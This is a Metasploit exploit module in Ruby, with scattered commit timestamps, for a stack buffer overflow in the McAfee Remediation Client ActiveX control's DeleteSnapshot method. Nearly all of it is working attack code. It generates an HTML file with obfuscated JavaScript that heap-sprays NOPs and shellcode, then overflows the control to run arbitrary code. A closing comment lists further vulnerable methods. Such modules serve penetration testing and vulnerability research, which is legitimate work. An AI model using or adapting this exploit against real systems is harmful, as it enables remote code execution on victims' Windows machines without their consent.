2010-03-10 05:58:01 +00:00
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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2012-02-21 01:40:50 +00:00
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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2010-03-10 05:58:01 +00:00
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##
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2009-10-15 15:22:16 +00:00
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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2013-08-30 21:28:54 +00:00
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Rank = LowRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'McAfee Remediation Client ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in McAfee Remediation Agent 4.5.0.41. When
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sending an overly long string to the DeleteSnapshot() method
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of enginecom.dll (3.7.0.9) an attacker may be able to execute arbitrary code.
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This control is not marked safe for scripting, so choose your attack vector accordingly.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'References' =>
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[
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[ 'OSVDB', '94540' ],
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[ 'EDB', '16639' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
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],
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'DisclosureDate' => 'Aug 4 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),
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], self.class)
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end
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def exploit
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Create some nops.
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nops = Rex::Text.to_unescape(make_nops(4))
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# Set the return.
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ret = Rex::Text.uri_encode([target.ret].pack('L'))
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# Randomize the javascript variable names.
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vname = rand_text_alpha(rand(100) + 1)
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var_i = rand_text_alpha(rand(30) + 2)
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rand1 = rand_text_alpha(rand(100) + 1)
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rand2 = rand_text_alpha(rand(100) + 1)
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rand3 = rand_text_alpha(rand(100) + 1)
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rand4 = rand_text_alpha(rand(100) + 1)
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rand5 = rand_text_alpha(rand(100) + 1)
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rand6 = rand_text_alpha(rand(100) + 1)
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rand7 = rand_text_alpha(rand(100) + 1)
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rand8 = rand_text_alpha(rand(100) + 1)
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content = %Q|<html>
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2010-04-30 08:40:19 +00:00
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<head>
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<script>
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try {
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2013-08-30 21:28:54 +00:00
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var #{vname} = new ActiveXObject('Enginecom.imagineLANEngine.1');
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var #{rand1} = unescape('#{shellcode}');
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var #{rand2} = unescape('#{nops}');
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var #{rand3} = 20;
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var #{rand4} = #{rand3} + #{rand1}.length;
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while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
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var #{rand5} = #{rand2}.substring(0,#{rand4});
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var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
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while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
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var #{rand7} = new Array();
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for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
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var #{rand8} = "";
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for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
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#{vname}.DeleteSnapshot(#{rand8});
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2010-04-30 08:40:19 +00:00
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} catch( e ) { window.location = 'about:blank' ; }
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</script>
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</head>
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</html>
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2010-03-10 05:58:01 +00:00
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2013-08-30 21:28:54 +00:00
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content = Rex::Text.randomize_space(content)
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2009-10-15 15:22:16 +00:00
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2013-08-30 21:28:54 +00:00
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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2009-10-15 15:22:16 +00:00
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2013-08-30 21:28:54 +00:00
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file_create(content)
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end
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2009-10-15 15:22:16 +00:00
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end
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2010-04-30 08:40:19 +00:00
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2009-10-15 15:22:16 +00:00
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=begin
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Other vulnerable method's:
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[id(0x0000000c), helpstring("method CreateSnapFromDefaultProfile")]
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void CreateSnapFromDefaultProfile(BSTR szDescription);
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[id(0x00000013), helpstring("method CreateReportOfSysInfoDifferences")]
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void CreateReportOfSysInfoDifferences(
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2013-08-30 21:28:54 +00:00
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BSTR szOldSnapFile,
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BSTR szNewSnapFile,
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BSTR szOutFile,
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short format,
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short append);
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2009-10-15 15:22:16 +00:00
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[id(0x0000000f), helpstring("method CreateReportOfSnapshotDifferences")]
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void CreateReportOfSnapshotDifferences(
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2013-08-30 21:28:54 +00:00
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BSTR szOldSnapFile,
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BSTR szNewSnapFile,
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BSTR szOutFile,
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short format);
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2009-10-15 15:22:16 +00:00
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[id(0x00000012), helpstring("method CreateReportOfAssetDifferences")]
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void CreateReportOfAssetDifferences(
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2013-08-30 21:28:54 +00:00
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BSTR szOldSnapFile,
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BSTR szNewSnapFile,
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BSTR szOutFile,
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short format,
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BSTR pszAsset,
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short append);
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2009-10-15 15:22:16 +00:00
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=end
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